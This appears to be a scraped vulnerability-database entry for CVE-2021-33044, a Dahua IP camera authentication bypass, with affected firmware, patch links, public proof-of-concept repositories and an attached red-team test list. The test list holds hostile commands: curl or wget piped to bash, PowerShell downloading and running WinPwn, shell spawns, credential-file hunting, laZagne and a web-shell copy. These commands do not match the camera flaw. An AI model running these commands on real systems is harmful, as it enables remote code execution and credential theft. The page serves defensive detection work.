CVE-2021-33044
Overview
This vulnerability is an identity authentication bypass affecting Dahua IP Camera and related devices. The root cause lies in improper validation during the login process, allowing attackers to craft malicious data packets that circumvent the authentication mechanism. The flaw specifically impacts the device's authentication component responsible for verifying user identity.
Vulnerability Description
The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
Impact
An attacker can gain unauthorized full access to affected Dahua devices without any authentication or user interaction. This access allows compromise of device security, including viewing or manipulating video streams, altering device configurations, and potentially pivoting within the network. The vulnerability can lead to significant breaches of privacy and system integrity in environments relying on these devices for security monitoring.
Solution
Dahua has released security updates addressing this authentication bypass for affected firmware versions, detailed at https://www.dahuasecurity.com/support/cybersecurity/details/957. Users should apply the latest firmware patches for IPC-HUM7XXX, IPC-HX3XXX, IPC-HX5XXX, SD1A1, and SD22 devices as specified in the vendor advisory. No alternative workarounds are provided; applying the vendor-supplied patches is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (19)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dahuasecurity | Ipc-Hum7xxx Firmware | All |
cpe:2.3:o:dahuasecurity:ipc-hum7xxx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Ipc-Hx3xxx Firmware | All |
cpe:2.3:o:dahuasecurity:ipc-hx3xxx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Ipc-Hx5xxx Firmware | All |
cpe:2.3:o:dahuasecurity:ipc-hx5xxx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Sd1a1 Firmware | All |
cpe:2.3:o:dahuasecurity:sd1a1_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Sd22 Firmware | All |
cpe:2.3:o:dahuasecurity:sd22_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Sd49 Firmware | All |
cpe:2.3:o:dahuasecurity:sd49_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Sd50 Firmware | All |
cpe:2.3:o:dahuasecurity:sd50_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Sd52c Firmware | All |
cpe:2.3:o:dahuasecurity:sd52c_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Sd6al Firmware | All |
cpe:2.3:o:dahuasecurity:sd6al_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Tpc-Bf1241 Firmware | All |
cpe:2.3:o:dahuasecurity:tpc-bf1241_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Tpc-Bf2221 Firmware | All |
cpe:2.3:o:dahuasecurity:tpc-bf2221_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Tpc-Bf5x01 Firmware | All |
cpe:2.3:o:dahuasecurity:tpc-bf5x01_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Tpc-Pt8x21b Firmware | All |
cpe:2.3:o:dahuasecurity:tpc-pt8x21b_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Tpc-Sd2221 Firmware | All |
cpe:2.3:o:dahuasecurity:tpc-sd2221_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Tpc-Sd8x21 Firmware | All |
cpe:2.3:o:dahuasecurity:tpc-sd8x21_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Vto-65xxx Firmware | All |
cpe:2.3:o:dahuasecurity:vto-65xxx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Vto-75x95x Firmware | All |
cpe:2.3:o:dahuasecurity:vto-75x95x_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Vth-542xh Firmware | All |
cpe:2.3:o:dahuasecurity:vth-542xh_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Tpc-Bf5x21 Firmware | All |
cpe:2.3:o:dahuasecurity:tpc-bf5x21_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (8)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
bp2008/DahuaLoginBypass
Chrome extension that uses vulnerabilities CVE-2021-33044 and CVE-2021-33045 to log in to Dahua cameras without authenti...
|
bp2008 | 199 | 42 | 2021-10-11 | View |
|
umair-aziz025/dahua-cve-research
Dahua IP camera CVE research toolkit (CVE-2021-33044/33045, CVE-2025-31700/31701)
|
umair-aziz025 | 29 | 6 | 2026-03-03 | View |
|
Spy0x7/CVE-2021-33044
Dahua IPC/VTH/VTO devices auth bypass exploit
|
Spy0x7 | 5 | 12 | 2021-10-18 | View |
|
haingn/LoHongCam-CVE-2021-33044
|
haingn | 4 | 2 | 2023-10-22 | View |
|
Bd-Mutant7/DahuaLoginBypass
Chrome extension that uses vulnerabilities CVE-2021-33044 and CVE-2021-33045 to log in to Dahua cameras without authenti...
|
Bd-Mutant7 | 4 | 1 | 2026-03-28 | View |
|
Baza-NATO/CVE-2021-33044
|
Baza-NATO | 1 | 0 | 2026-01-25 | View |
|
eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044
Camera Dahua Research lỗ hổng CVE-2021-33044
|
eagle-nett | 1 | 0 | 2026-03-24 | View |
|
litndat/Camera-Dahua-Research-l-h-ng-CVE-2021-33044
DAHUA_AUTH-BYPASS-CVE-2021-33044
|
litndat | 0 | 0 | 2026-06-24 | View |
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-33044 |
| dahuasecurity.com |
GitHub CVE
x_refsource_MISC
|
https://www.dahuasecurity.com/support/cybersecurity/details/957 |
| seclists.org |
GitHub CVE
mailing-list
x_refsource_FULLDISC
|
http://seclists.org/fulldisclosure/2021/Oct/13 |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/164423/Dahua-Authentication-Bypass.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-33044 |